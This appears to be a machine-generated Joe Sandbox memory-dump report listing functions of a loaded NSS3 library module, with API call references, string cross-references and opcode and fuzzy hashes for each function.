Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9f80b8064602d82510c65fa5b41b68acca5ebac6fcbfcac3bd189713e6d95e58
Instruction ID: 27b26fd0cdf565b01bf8af345722ea1c8cfe7b9c19fef7174882a75a6bbed315
Opcode Fuzzy Hash: 9f80b8064602d82510c65fa5b41b68acca5ebac6fcbfcac3bd189713e6d95e58
Instruction Fuzzy Hash: 3441A7B6D00605AFEB019F68EC40A5677B8AF0521DF255175EC088BB12EF31D955C7E2

Function 6CE8BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8BFFB

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE8C015

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE8C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE8C04D

Part of subcall function 6CED69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CED6A47
Part of subcall function 6CED69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CED6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE8C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE8C07B

Part of subcall function 6CE88980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE87310), ref: 6CE889B8
Part of subcall function 6CE88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE87310), ref: 6CE889E6
Part of subcall function 6CE88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE88A00
Part of subcall function 6CE88980: CERT_CopyRDN.NSS3(00000004,00000000,6CE87310,?,?,00000004,?), ref: 6CE88A1B
Part of subcall function 6CE88980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE88A74

Part of subcall function 6CE81D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE8C097,00000000,000000B0,?), ref: 6CE81D2C
Part of subcall function 6CE81D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE8C09B,00000000,00000000,00000000,?,6CE8C097,00000000,000000B0,?), ref: 6CE81D3F
Part of subcall function 6CE81D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE8C087,00000000,000000B0,?), ref: 6CE81D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE8C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE8C0C9

Part of subcall function 6CE92DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE8C0D2,6CE8C0CE,00000000,-000000D4,?), ref: 6CE92DF5
Part of subcall function 6CE92DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE8C0CE,00000000,-000000D4,?), ref: 6CE92E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE8C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8C0E3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 71002b15c70f0e292e1e140bbb5964436dd7db62d85fcf8881ca059a7469b6d2
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: D32177B264210567FB015A61AC81FFB327C9B4279CF284238FD0CD9747FB25D5199272

Function 6CE82E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE82CDA,?,00000000), ref: 6CE82E1E

Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE89003,?), ref: 6CEDFD91
Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(A4686CEE,?), ref: 6CEDFDA2
Part of subcall function 6CEDFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEE,?,?), ref: 6CEDFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE82E33

Part of subcall function 6CEDFD80: free.MOZGLUE(00000000,?,?), ref: 6CEDFDD1

TlsGetValue.KERNEL32 ref: 6CE82E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE82E5E
PL_HashTableLookup.NSS3(?), ref: 6CE82E71
PL_HashTableRemove.NSS3(?), ref: 6CE82E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE82E96
PR_Unlock.NSS3 ref: 6CE82EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE82EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE82EC5

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: ec6709c6593f403efe65305ef5336d63134fffcd0c3465ca8e33dba8e1632854
Instruction ID: 1bbf0a8c467ba439dc40059ddbaff6b1ebb32bad8c3855d9d4b8ee1f46cd7e30
Opcode Fuzzy Hash: ec6709c6593f403efe65305ef5336d63134fffcd0c3465ca8e33dba8e1632854
Instruction Fuzzy Hash: 07213772E00101A7EF515B24EC09B9A3B78DB5631DF280034EE1C96751FB33D559C2B1

Function 6CE6FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE6FD18
sqlite3_initialize.NSS3 ref: 6CE6FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE6FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE6FD99
sqlite3_free.NSS3(00000000), ref: 6CE6FE3C
sqlite3_free.NSS3(?), ref: 6CE6FEE3
sqlite3_free.NSS3(?), ref: 6CE6FEEE

Strings

simple, xrefs: 6CE6FC79

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 0cfa8f8c626b0661e970170a361ebffb1cdfe3e46e69e47be300fcb574fbf835
Instruction ID: 3a60f9d89951e6c9f7999bffe0bfb3d4e19cb9da90d99f211c4f7b45622f2b8b
Opcode Fuzzy Hash: 0cfa8f8c626b0661e970170a361ebffb1cdfe3e46e69e47be300fcb574fbf835
Instruction Fuzzy Hash: 5F9181B0A512059FDB04CF56C880BAABBB2FF85318F34C56DD8199BB52D739E811CB90

Function 6CE75CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE75EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE75EED

Strings

invalid, xrefs: 6CE75EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE75E64
%s at line %d of [%.10s], xrefs: 6CE75EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE75ED1
misuse, xrefs: 6CE75EDB
API call with %s database connection pointer, xrefs: 6CE75EC3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 8ddbbab9b660893cac60752f5824c64b5c952868684a4000120bdac276a762e1
Instruction ID: e59b6b30c453aa23de141430c3c109429888d582c7d7de2bd3542f91194a09f2
Opcode Fuzzy Hash: 8ddbbab9b660893cac60752f5824c64b5c952868684a4000120bdac276a762e1
Instruction Fuzzy Hash: 5481BC70B076129BEB298E25C948BAAB771BF4230CF38066DD9155BB41D730E852CBE1

Function 6CE5DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE5DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE5DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE5DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE5DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE5DF78

Strings

%s at line %d of [%.10s], xrefs: 6CE5DE61, 6CE5DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE5DE52, 6CE5DE81
database corruption, xrefs: 6CE5DE5C, 6CE5DE8B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: e21c677ef5250fb6ac6f25f2f8f020e0e794f96b1414ae1450ab3e5914963b8e
Instruction ID: 3cff5a0dddb93c9148cca00baa751e95f041db0c01b358b7bc0c12b5e5cd8107
Opcode Fuzzy Hash: e21c677ef5250fb6ac6f25f2f8f020e0e794f96b1414ae1450ab3e5914963b8e
Instruction Fuzzy Hash: C381E1797043009FD704CF25C980B6A77F1BF45308F64892DE99A8BB51EB32EA56CB52

Function 6CE0CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CE0B999), ref: 6CE0CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CE0B999), ref: 6CE0D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CE0B999), ref: 6CE0D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CE0B999), ref: 6CF5972B

Strings

%s at line %d of [%.10s], xrefs: 6CE0CFEC, 6CE0D018, 6CE0D029, 6CE0D03F, 6CF5978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0CFDD, 6CE0D00E, 6CE0D022, 6CE0D033, 6CF59780
database corruption, xrefs: 6CE0CFE7, 6CE0D013, 6CE0D028, 6CE0D039, 6CE0D03E, 6CF59786

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 1f4ecbb2c414d4a255e9d93bb45f26677c0f6ec6f1c7cdb9add0583c6789c021
Instruction ID: 2f4843f46be15f9ffa55a061c9cb709524042ad70f4ecfad49b2ae41296c3d47
Opcode Fuzzy Hash: 1f4ecbb2c414d4a255e9d93bb45f26677c0f6ec6f1c7cdb9add0583c6789c021
Instruction Fuzzy Hash: E5611871A042108FD310CF2AC841BA6BBF6EF55318F68456EE5489BB42D376E947C7E2

Function 6CF0FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CF10113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF10130
PORT_Alloc_Util.NSS3(00000040), ref: 6CF1015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CF101AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CF10202
free.MOZGLUE(?), ref: 6CF10224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF10253

Strings

exporter, xrefs: 6CF100F7

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 3b615e92489fdf9d43921fdc8386beef7eb19422d2f437758d61842a41b344f5
Instruction ID: a11bd9f9961e466c87a17999f603c6c5ac5af7722762c9c7f43bbf62efbb4744
Opcode Fuzzy Hash: 3b615e92489fdf9d43921fdc8386beef7eb19422d2f437758d61842a41b344f5
Instruction Fuzzy Hash: FA612471D087899BEF018FA4CC00BEE77B6BF4431CF15412CED1A6AA51EB75A964C741

Function 6CEE4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CEE536F,00000022,?,?,00000000,?), ref: 6CEE4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CEE4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CEE4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CEE4FAE
free.MOZGLUE(?), ref: 6CEE4FC8

Strings

%s=%c%s%c, xrefs: 6CEE4FA9
oSl", xrefs: 6CEE4DFB, 6CEE4EF4, 6CEE4EC5
%s=%s, xrefs: 6CEE4F89

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 4894cdc204839c35b4c72acd54bacb5a22fbfb937e8a773702691aff78392081
Instruction ID: ef84d67fcb8d112e0600fdfd96f30755ed6f3d8f25fff9d5d03a18b6fa5baeaf
Opcode Fuzzy Hash: 4894cdc204839c35b4c72acd54bacb5a22fbfb937e8a773702691aff78392081
Instruction Fuzzy Hash: 6F512721E051498BEB01CAEA84917FF7BF59F4E38CF398167E894ABB50D3359805C791

Function 6CF0EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0EF6D

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

htonl.WSOCK32(00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0EFE4
htonl.WSOCK32(?,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0EFF1
memcpy.VCRUNTIME140(?,?,6CF2A4A1,?,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0F027

Strings

dtls13, xrefs: 6CF0EF33

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: ea26591181e87a11f003512b34d0e45fe33cf49d7e2a6568d87cfcff3332fcf3
Instruction ID: bd3632431d34ef84ad1e8120e34270bdde91f21dc15c0d6b35578b43887e54a9
Opcode Fuzzy Hash: ea26591181e87a11f003512b34d0e45fe33cf49d7e2a6568d87cfcff3332fcf3
Instruction Fuzzy Hash: 1F311471A00211AFDB10DF38DC50B8AB7E4FF48749F158029E8589B751E731E915CBE1

Function 6CE8AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE8AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CFA9500,6CE83F91), ref: 6CE8AFD2

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

DER_GetInteger_Util.NSS3(?), ref: 6CE8B007

Part of subcall function 6CED6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE81666,?,6CE8B00C,?), ref: 6CED6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE8B02F
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE8B046
PL_FreeArenaPool.NSS3 ref: 6CE8B058
PL_FinishArenaPool.NSS3 ref: 6CE8B060

Strings

security, xrefs: 6CE8AFB8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 0c7419708a988b32be2df8bbd1632f48e165764745e3b1124659837124def612
Instruction ID: 3f5afa2383b71bb5e0289f46d62dbde8db16ee4676b2005cf753fc7c45a6fb0c
Opcode Fuzzy Hash: 0c7419708a988b32be2df8bbd1632f48e165764745e3b1124659837124def612
Instruction Fuzzy Hash: B6310871805300DBD7108F249C45BAA77B4AF8A36CF30061DE9B89BBD1E7329509C797

Function 6CE83E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE83F7F,?,00000055,?,?,6CE81666,?,?), ref: 6CE840D9
Part of subcall function 6CE840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE81666,?,?), ref: 6CE840FC
Part of subcall function 6CE840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE81666,?,?), ref: 6CE84138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE83EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE83ED6

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE83EEE

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE83F02
